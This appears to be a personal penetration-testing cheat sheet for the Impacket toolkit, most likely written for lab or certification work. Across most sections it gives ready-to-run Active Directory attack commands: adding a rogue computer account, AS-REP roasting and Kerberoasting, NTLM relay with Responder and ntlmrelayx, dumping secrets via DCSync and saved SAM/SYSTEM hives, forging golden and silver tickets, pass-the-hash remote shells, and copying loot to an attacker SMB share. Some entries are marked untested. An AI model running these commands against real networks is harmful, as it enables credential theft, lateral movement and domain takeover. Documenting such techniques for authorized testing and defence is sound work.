Impacket

Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself.

impacket-addcomputer impacket-atexec impacket-dcomexec impacket-dpapi impacket-esentutl impacket-exchanger impacket-findDelegation impacket-GetADUsers impacket-getArch impacket-Get-GPPPassword impacket-GetNPUsers impacket-getPac impacket-getST impacket-getTGT impacket-GetUserSPNs impacket-goldenPac impacket-karmaSMB impacket-keylistattack impacket-kintercept impacket-lookupsid impacket-machine_role impacket-mimikatz impacket-mqtt_check impacket-mssqlclient impacket-mssqlinstance impacket-netview impacket-nmapAnswerMachine impacket-ntfs-read impacket-ntlmrelayx

impacket-ping impacket-ping6 impacket-psexec impacket-raiseChild impacket-rbcd impacket-rdp_check impacket-reg impacket-registry-read impacket-rpcdump impacket-rpcmap impacket-sambaPipe impacket-samrdump impacket-secretsdump impacket-services impacket-smbclient impacket-smbexec impacket-smbpasswd impacket-smbrelayx impacket-smbserver impacket-sniff impacket-sniffer impacket-split impacket-ticketConverter impacket-ticketer impacket-wmiexec impacket-wmipersist impacket-wmiquery

Help

List all commands

impacket- [Tab][Tab]

Variable Examples

IP=x.x.x.x
DC_IP=y.y.y.y
HASH=abc...def
USER=myuser
DOMAIN=example.com
PASS=MyPassword
DOMAIN_SID=S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXX # Use enum4linux

impacket-addcomputer

Adds a computer “ATTACK” to the domain with Administrator password “AttackerPC1!”.

impacket-addcomputer ${DOMAIN}/${USER} -dc-ip $DC_IP -hashes $HASH -computer-name 'ATTACK$' -computer-pass 'AttackerPC1!'

impacket-atexec

impacket-dcomexec

Provides an interactive shell on the Windows host similar to wmiexec.py, but using varying DCOM endpoints. Currently supports MMC20.Application, ShellWindows, and ShellBrowserWindow DCOM objects.

impacket-dcomexec -object MMC20 ${DOMAIN}/${USER}:${PASS}@${IP}

impacket-dpapi

impacket-esentutl

impacket-exchanger

impacket-findDelegation

impacket-GetADUsers

Queries target domain for users data.

impacket-GetADUsers -all ${DOMAIN}/${USER}:${PASS} -dc-ip $DC_IP

impacket-getArch

impacket-Get-GPPPassword

Group Policy Preferences passwords finder and decryptor.

impacket-Get-GPPPassword [[domain/]username[:password]@]<targetName or address> or LOCAL (if you want to parse local files)

impacket-Get-GPPPassword ${DOMAIN}/${USER}@dc01.${DOMAIN}

impacket-GetNPUsers

For AS-REP Roasting. Queries target domain for users with ‘Do not require Kerberos preauthentication’ set and export their TGTs for cracking. Harvest the non-preauth AS_REP responses for a given list of usernames. These responses will be encrypted with the user’s password, which can then be cracked offline.

The “/” after the domain is important! It will not work without it…

impacket-GetNPUsers -no-pass -dc-ip $DC_IP $DOMAIN/ -usersfile users.txt -outputfile hashes.txt

💡 Seen in a demo.

impacket-GetNPUsers -request ${DOMAIN}/ -usersfile reproastable.txt -format hashcat

Request TGTs for all users

GetNPUsers.py contoso.com/emily:password -request
GetNPUsers.py contoso.com/emily

impacket-getPac

impacket-getST

Given a password, hash or aesKey, it will request a Service Ticket and save it as ccache.

impacket-getST -spn cifs/dc01.${DOMAIN} ${DOMAIN}/attack\$:'AttackerPC1!' -impersonate Administrator -dc-ip $DC_IP

impacket-getTGT

Request a TGT and save it as ccache for given a password, hash or aesKey. That we can be injected directory for access the requested service. Use KRB5CCNAME to pass the ccache file for the requested service. See Overpass the Hash/Pass the Key.

impacket-getTGT -dc-ip $DC_IP ${DOMAIN}/${USER}:${PASS}

impacket-getTGT -dc-ip $DC_IP -hashes ${HASH} ${DOMAIN}/${USER}

export KRB5CCNAME=${USER}.ccache

impacket-psexec -dc-ip $DC_IP -target-ip $IP -no-pass -k ${DOMAIN}/${USER}@<machine name>.${DOMAIN}

See HackTricks, If error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great):

sudo ntpdate $DC_IP

impacket-GetUserSPNs

impacket-GetUserSPNs -dc-ip $DC_IP ${DOMAIN}/${USER}:${PASS} -outputfile SPNs.txt

impacket-GetUserSPNs -dc-ip $DC_IP ${DOMAIN}/${USER}:${PASS} -request -outputfile SPNs.txt

impacket-GetUserSPNs -dc-ip $DC_IP -hashes ${HASH} ${DOMAIN}/${USER} -outputfile SPNs.txt

See Kerberoasting.

impacket-GetUserSPNs -request ${DOMAIN}/${USER} > kerberoasting.txt

impacket-goldenPac

impacket-karmaSMB

impacket-keylistattack

impacket-kintercept

impacket-lookupsid

impacket-machine_role

impacket-mimikatz

impacket-mqtt_check

impacket-mssqlclient

impacket-mssqlinstance

impacket-netview

impacket-nmapAnswerMachine

impacket-ntfs-read

impacket-ntlmrelayx

An NTLM relay attack exploits the NTLM challenge-response mechanism. An attacker intercepts legitimate authentication requests and then forwards them to the server. The client who originally sent the request receives the appropriate challenges, but the attacker intercepts the responses and forwards them to the server, which then authenticates the attacker rather than the person or device that made request.

For every connection received, this module will try to relay that connection to specified target(s) system or the original client.

Start a listener

Use Responder.

❗ Do we need to use the mode with response or can we just use the analyze mode. To test.

sudo -E responder -I eth0 --lm

Help

impacket-ntlmrelayx -h

dclist.txt

“all” will try all protocols instead of only smb.

all://dc1.example.com
all://dc2.example.com

-tf: File that contains targets by hostname or full URL, one per line
-w: Watch the target file for changes and update target list automatically (only valid with -tf)

sudo impacket-ntlmrelayx -tf dclist.txt -w --remove-mic 

sudo impacket-ntlmrelayx -tf dclist.txt -w --remove-mic -c "whoami"

impacket-ping

impacket-ping6

impacket-psexec

Execute processes on remote systems.

impacket-psexec -dc-ip $DC_IP ${DOMAIN}/${USER}:${PASS}@${IP}

USER=Administrator
HASH=<LM hash>:<NTLM hash>

impacket-psexec -dc-ip $DC_IP -hashes ${HASH} ${DOMAIN}/${USER}@${IP}

impacket-raiseChild

impacket-rbcd

impacket-rdp_check

impacket-reg

impacket-registry-read

impacket-rpcdump

Dumps the remote RPC enpoints information via epmapper.

Ports: ‘135’, ‘139’, ‘443’, ‘445’, ‘593’

impacket-rpcdump $IP > rpc.txt

impacket-rpcdump -port 135 ${DOMAIN}/${USER}:${PASS}@$IP > rpc.txt

impacket-rpcmap

impacket-sambaPipe

impacket-samrdump

impacket-secretsdump

Performs various techniques to dump secrets from the remote machine without executing any agent there.

impacket-secretsdump ${USER}:${PASS}@$IP -outputfile secretsdump

impacket-secretsdump -just-dc -no-pass ${DC_NAME}\$@${DC_IP} > secretdump.txt

impacket-secretsdump -no-pass -hashes <LMHASH>:<NTHASH> ${DOMAIN}/${USER}@${DC_IP} > secretdump_authenticated.txt

When we have an account with the DCSync rights, we can use Impacket’s secretsdump.py script to Sync the Domain Controller remotely and capture the domain hashes. Run the following command to run the script:

impacket-secretsdump ${DOMAIN}/${USER}:${PASS}@${DC_IP} > secretdump_authenticated.txt

Extract hashes from ntds.dit

• ntds: location and name of the ntds.dit file
• system: location and name of the SYSTEM hive
• hashes lmnhash:nthash: NTLM hash
• LOCAL: parse files on the local system
• outputfile: location and name of the output file. Extensions are automatically added based on content extracted

impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL -outputfile ntlm-extract

Dump registry and read – for older Windows (like Windows XP)

Dump registry on victim, transfer files to Kali and run impacket-secretdump.

reg.exe save hklm\sam sam.save
reg.exe save hklm\security security.save
reg.exe save hklm\system system.save

impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL > secretsdump.txt

impacket-services

impacket-smbclient

Do not specify the domain (like example.com\myusername), just the username.

impacket-smbclient $USER@$IP

shares

use <sharename>

💡 Seen in a demo.

impacket-smbclient ${DOMAIN}/${USER}@dc01.${DOMAIN}

impacket-smbexec

Get a semi-interactive shell.

impacket-smbexec -hashes :${HASH} ${DOMAIN}/${USER}@${IP}

impacket-smbpasswd

impacket-smbrelayx

impacket-smbserver

On Kali

sudo impacket-smbserver myshare /home/kali/share

FIX FOR: You can’t connect to the file share because it’s not secure. This share requires the obsolete SMB1 protocol, which is unsafe and could expose your system to attack.

sudo impacket-smbserver -smb2support myshare /home/kali/share

On Windows

dir \\<KALI IP>\myshare

copy 20220530051149_BloodHound.zip \\x.x.x.x\myshare\

impacket-sniff

impacket-sniffer

impacket-split

impacket-ticketConverter

Convert tickets between Linux/Windows format. Convert kirbi files (commonly used by mimikatz) into ccache files used by impacket, and vice versa.

TICKET_KIRBY=someticket.kirbi
TICKET_CCACHE=someticket.ccache

impacket-ticketConverter $TICKET_KIRBY $TICKET_CCACHE

impacket-ticketConverter $TICKET_CCACHE $TICKET_KIRBY

impacket-ticketer

❗ NOT TESTED YET

Creates a Kerberos golden/silver tickets based on user options.

-spn: SPN (service/server) of the target service the silver ticket will be generated for. if omitted, golden ticket will be created

Get SPN

Use impacket-GetUserSPNs.

SPN=example/CIFS:445

Generate silver ticket

impacket-ticketer -spn $SPN

impacket-ticketer -nthash $HASH -domain-sid $DOMAIN_SID -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache 
python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass

# To generate the TGS with NTLM
impacket-ticketer -nthash <ntlm_hash> -domain-sid <domain_sid> -domain $DOMAIN -spn $SPN $USER

# To generate the TGS with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name>

Generate golden ticket

-hashes :${HASH} ${DOMAIN}/${USER}@${IP}

Execute remote commands with any of the following by using the ticket

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>

impacket-psexec <domain_name>/<user_name>@<remote_hostname> -k -no-pass
impacket-smbexec <domain_name>/<user_name>@<remote_hostname> -k -no-pass
impacket-wmiexec <domain_name>/<user_name>@<remote_hostname> -k -no-pass

impacket-wmiexec

Executes a semi-interactive shell using Windows Management Instrumentation.

💡 Can be used to upload / download files!

impacket-wmiexec ${USER}:${PASS}@${IP}

Fix for Windows XP: “The version of OLE on the client and server machines does not match.”

impacket-wmiexec -com-version 5.1 ${USER}:${PASS}@${IP}

help

lput /home/kali/share/PowerView.ps1 [destination]

lget proof.txt

put <source file> [destination path]
get <filename>

impacket-wmipersist

impacket-wmiquery

Using tickets with Impacket

In Linux

# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>

# Execute remote commands with any of the following by using the TGT
impacket-psexec <domain_name>/<user_name>@<remote_hostname> -k -no-pass
impacket-smbexec <domain_name>/<user_name>@<remote_hostname> -k -no-pass
impacket-wmiexec <domain_name>/<user_name>@<remote_hostname> -k -no-pass

In Windows

Inject ticket with Mimikatz

mimikatz.exe # kerberos::ptt <ticket_kirbi_file>

Execute a cmd in the remote machine with PsExec

.\PsExec.exe -accepteula \\<remote_hostname> cmd